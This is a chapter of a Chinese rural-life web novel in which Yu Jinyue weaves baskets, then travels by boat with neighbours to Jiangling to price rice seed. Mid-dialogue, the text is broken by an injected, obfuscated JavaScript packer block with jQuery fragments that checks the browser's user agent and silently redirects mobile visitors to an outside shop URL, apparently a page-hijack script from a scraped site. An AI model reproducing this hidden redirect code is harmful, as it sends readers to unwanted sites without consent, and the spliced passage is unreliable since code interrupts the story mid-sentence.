“也不是什么大事儿,就是明天我不能下地,要不你也歇一天吧?”
王茂生眉头轻皱,迟疑了半晌还是问出了口,“你是哪里伤着了吗?你这两天嚷着腰疼,我给你带了……”
虞今越笑得不行,解释道:“不是!我的腰好得很,喊腰疼就是累的,睡一觉就好了,反倒是手心里磨出来的几个水疱有点烦人。”
“那你明日……”
“明日是我和翠兰姐约好了,要往城里去一趟,他们两口子去卖鱼,我去粮行转转,问个价,早点把种子买回来。”虞今越弯眸笑着,忽然想起了什么似的,问他:“对了,你刚才说给我带了什么?”
王茂生讷讷地垂下眼,攥紧手指,“没什么……”
这边程虎拿着他的柳编小老虎正在大杀四方,孩子们横七竖八的倒在地上装死,忽而又爬起来偷袭,追得他围着屋子边跑边哇哇大叫。
虞今越被他们的吵闹声吸引过去,没忍住摇着头笑了笑。
事情交代清楚了,虞今越腾出地方来招呼王茂生坐一会儿,这才拾起散落在地上的柳条,坐回去继续编柳筐。
两只一臂长的柳筐,她收了人家十文钱,外加半坛子腌菜和一双纳好的鞋底。
柳条编出来的筐,结实耐用,拿去运土、装草料、浸稻种都使得,筐大,费时也费料,若不是翠兰姐从中撮合,吴婆婆也不一定舍得花这个钱来找她买筐。
这个人情欠下了,只能找机会再还了。
虞今越将去完皮的柳条一圈圈压紧,先把底部做结实,才不会散。
她手上使劲,面上也绷紧了,唇角抿成了一条直线,一双常常带着笑意的眼眸里,此刻只有一丝不苟的专注。
王茂生看得有些发怔,她认真编柳筐的模样,竟与他平日见到跳脱爽朗的样子格外不同。
沉静,温和。
像一块被烛光融融浸着的玉,令人移不开眼。
他耳根一热,心口也被那张没有送出去的膏药捂得发烫。
刚出了伏,傍晚的风吹到身上已没了酷暑时分的那股燥意,江风吹过大堤,也卷走了晚来的炊烟和云絮,勾在树梢上,引来了最后的几声蝉鸣。
不知是谁站在自家院里,吊着嗓子喊着自家娃娃的小名。
被点到名的孩子“嗖”的一下起身,拔腿就跑,还不忘回头和小伙伴告别,“我娘喊我回去,明天我再找你们玩!”
天色将晚,院子里的孩子都稀稀拉拉地走得差不多了,嘴里还一口一个谢谢虞阿姐,听得虞今越眉开眼笑。
王茂生也跟着起身,“小喜,该回去了。”
王小喜才用树枝和他们搭了一个大坝,听到二叔叫她,瞬间就不乐意了,“我再多玩一会儿嘛……”
“那等一会儿就不是我来叫你回去了,快点。”王茂生走到门口,还和虞今越打了声招呼,“我们走了。”
“好。”虞今越冲他笑了一下,继续低头编筐。
这边王小喜还在磨蹭,虞今安眨了眨眼睛,小声道:“小喜,明天你过来,我可以把我的小狗借你玩……”
“真的!”王小喜立刻转忧为喜,还和她拉了钩,“那我明天再让我二叔带我过来,不许反悔嗷。”
“嗯嗯!不反悔!”
王小喜蹦蹦跳跳地跑出去,拉住她二叔的胳膊往回走。
没走两步路,小姑娘的眼睛滴溜溜一转,撒娇道:“二叔,虞阿姐不是给了你一个小兔子么,你藏到哪里去了?拿出来给我玩一会儿嘛……”
“你不是有一个么。”
“我的和你的又不一样!好不好嘛!”眼看着就要到家了,王小喜哼哼唧唧地站在外头不肯进去。
王茂生大步踏进院里,脸上挂着笑,冲屋内喊:“大哥,小喜她……”
一个小炮仗似的身影立刻冲了进来,风风火火地嚷道:“爹,娘,我回来了!”
支摘窗下传来一声呵斥:“你这丫头,声气小些,你妹妹吃了奶刚睡着,把她吵醒了别怪我收拾你。”
王小喜被阿娘训得糟心,气鼓鼓地瞪了自己二叔一眼,“哼”的一声,进了屋。
虞家这边姐妹俩正在收拾院子里的柳条,家里既没有油灯又没有蜡烛,眼瞅着天黑了,也该洗洗睡了。
次日。
方翠兰是一清早就过来的,她没进来,就站在院子外头等,还和对门坐在门槛上择菜的卢婶子聊了起来。
虞今越抓紧时间收拾,把那半袋稻种掀起来背在身上。
好不容易进一趟城,虞今越让小妹把之前编的晒箩和小筐也拎上,城里人多,说不定也能换几个铜钱。
三人走到村口,这才发现还有一个穿着短褐的方脸汉子守着两个水桶,站在路边等人。
“来了?咱们去隔壁村的码头上坐船吧?他们村里有人做撑船送客的营生,跑一趟江陵,只要两文。”说罢,程先勇把两只水桶用扁担穿好,挑了起来。
虞今越蹙了下眉,迟疑道:“一个人两文钱?那我妹坐船也要付船钱吗?”
刚到手的钱还没捂热,立刻就有了花销,一来一回,她们姐妹两个,岂不是就要花八文钱!
她磨了磨牙花儿,怎么隐隐觉得有些肉疼。
“不用!不用!”
方翠兰仰头大笑,“就这么点小人儿,又不占地方,船家好意思收你的钱吗?”
虞今越松了一口气,“那就好!”
一行四人顺着小河边上的土路往老沙咀走,路边的水田里有人在插秧,田埂上,挑秧苗的,送茶饭的,赶牛的,推板车的……忙得不可开交。
“他们村比咱们插秧要早,田也好,亩子横平竖直的,瞧着就比咱们那片荒地好上一大截。”
方翠兰啧啧嘴,又感慨道:“妹子,你不知道,前几天烧荒之后,我们家一直借不到耕牛,公婆两个又心急得不行,自己把镢头一扛就下地翻土去了,我和孩子他爹,谁劝都不好使。这不,家婆昨天夜里还说背上疼,一说在城里给她抓点药,她又说好了。”
虞今越低声笑了一会儿,道:“哪里就好得这么快,还是心疼钱。”
“欸,你说的对着呢!”
方翠兰抬起下巴指了下走在前头的男人,嫌弃道:“就这么一个实心眼的,他娘说好了,他就真以为好了。我说卖了鱼去一趟医馆,他还说不用,不知道的,还以为我方翠兰虐待婆婆呢,多招人闲话啊!得亏我们今日出门,家婆在屋里头帮着带娃,还能在家里歇一天,再这么干下去,稻子没种下去,人都要折在地里了。”
“你们甲里耕了几户人家的地了?”虞今越问。
“就三家,反正是官府的牛,他们耕的仔细,都不知道排在后头的急得恨不得上手替他们扶犁抽鞭子去!”
“唉,翠兰姐,你消消气。”
虞今越早知道就会是这样,只能劝道:“实在不行,就找里正提一嘴,那几户人家拖慢进度也是变相让他向黄农丞交不了差,你别出面,就让你家公去讲,里正会管的。不怕你笑,刘里正生怕我一个人把地整不出来,还叫咱们甲长,喊了人来帮我割草开荒呢。”
“哎哟,那敢情好啊!”
两人就这么走了一路,聊了一路。
到了老沙咀的村口,码头上泊着一只空荡荡的小船。
程先勇走到两个坐在磨房门口唠嗑的闲汉跟前问了一句,其中一人伸长脖子冲屋里喊:“老徐,别睡了,来生意了!”
一个胡子拉碴的瘦小老头儿立刻爬了起来,他弓着腰走出来,两眼放光地看着挑着桶的青年,“您几位?上哪儿去?”
“三个大人,一个小孩儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634753|205805||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,进城。”程先勇说。
徐老五往他身后望了一眼,用斗笠扇着风道:“这会儿就走?再过半个时辰,我还要去前头的庄家台接人哩,和你们一路,也是要进城里走亲戚的,要不,你们再等等?”
程先勇把眉头一皱,“我们赶时间,你走水路也快,跑一趟再回来送客也来得及,等回来,我们还坐你的船。”
“好说!好说!”
徐老五咧开嘴把斗笠一戴,跑到码头上招呼人上船,“来来来,咱们快去快回!”
虞今越牵着小妹,跟在方翠兰的后头上了船。
竹篙一点,小船便离了岸,两岸的树木、屋舍,一寸寸的往后倒去,天映着水,水映着天,十几只麻鸭啄着浮萍正好挡在前头。
徐老五拔起竹篙在水面上一拍,朝着岸上骂道:“鲁婆子,还不把你这群憨鸭赶进网里去,一群扁毛畜生,还敢往我船上撵?赶明儿我非要捉几只回去炖了下酒!”
那院子里冲出来一个老妇,叉着腰骂道:“你个背时砍脑壳的老东西,你敢捉老娘的鸭子试试?旁人些许给你老徐几分面子,我可不怕你!”
两人扯着嗓子好一顿唇枪舌枪,骂到互相都看不到影儿了,才歇下来。
虞今越听得目瞪口呆,放开捂住小妹耳朵的手时,还和方翠兰对了一眼,两人的眼底满满都是八卦。
徐老五和人骂了这么一通,此时满面红光,眼瞅着人都精神不少,船桨也越推越起劲。
他嘿笑一声,站在船尾边推桨边和他们搭话,“你们是一家子?进城干啥去,就为了卖这两桶鱼?”
程先勇慌忙摆手,解释道:“这是我媳妇,她们姐妹俩姓虞,是和咱们一个村的,不是一家人。等一会儿我们在小东门的大市下船,你把她们俩往南市口送一送。”
“南市?小丫头,你背着这口麻袋是打算去卖粮食啊?”
他咂咂嘴,嘀咕道:“这时候新粮才刚下来,进城里头也卖不上价,还不如找磨坊打了米粉子自家做蒸糕哩!”
虞今越这才反应过来他喊的小丫头是自己,忙道:“不是口粮,是官府发来的一些稻种,我想卖了换些种子来种,听您的口气,倒是对城里的粮价门儿清?”
徐老五一听就吹胡子瞪眼的,骂骂咧咧地说:“那可不,我家侄儿半月前才进城卖的粮,粮行一石谷喊价五百四十七文,拢共二十三亩田,又去了湿重,每石又少了三十,刨去本钱,田税,能挣几个钱?今年年成不好,又赶在这个节骨眼,卖价高,收价又压得低,那伙吃人不吐骨头的,专欺咱们老实庄稼人。”
虞今越听得眉头越皱越紧,她在心里把价钱一算,再粗粗估了一下这半袋子稻种的斤两,怎么感觉形势一片完犊子啊。
闲话间,徐老五把篙子一撑,拐了个弯,小船便将几座村庄都远远抛在了后头,河道也眼看着越来越宽了。
“过了小东门,咱们就进了城喽!”徐老五吆喝了一腔,把船跟近,列入排队进闸的船队里。
“阿姐!好多船啊!”
虞今安吃惊地望着前头的闸口,等着过闸的船只按大小分列,挤挤挨挨的,比地里的庄稼都密。
虞今越也抬眼看去,闸口前方的堤岸由坚实的长条青石垒成,两侧立着值守的兵卒,披甲带刀,模样很是威严。
有河风送来城墙里头喧闹的人声和吃食的香气,进城的漕船码着货箱,盖着油布,载的是北地的盐粮、煤块、木料、牲畜……还未亲眼见到街市,便也能在风中嗅到江陵城作为水运通衢之地的繁华。
前方的一艘大船上,有人倚着栏杆看着河面上的船只,他眯起眸子凝神一瞧,倒是在密密匝匝的小舢板船上看见了一个熟悉的人影。
张天阔勾起唇,高声吆喝道:“虞娘子,放着地不种,怎么还有空闲进城玩啊?”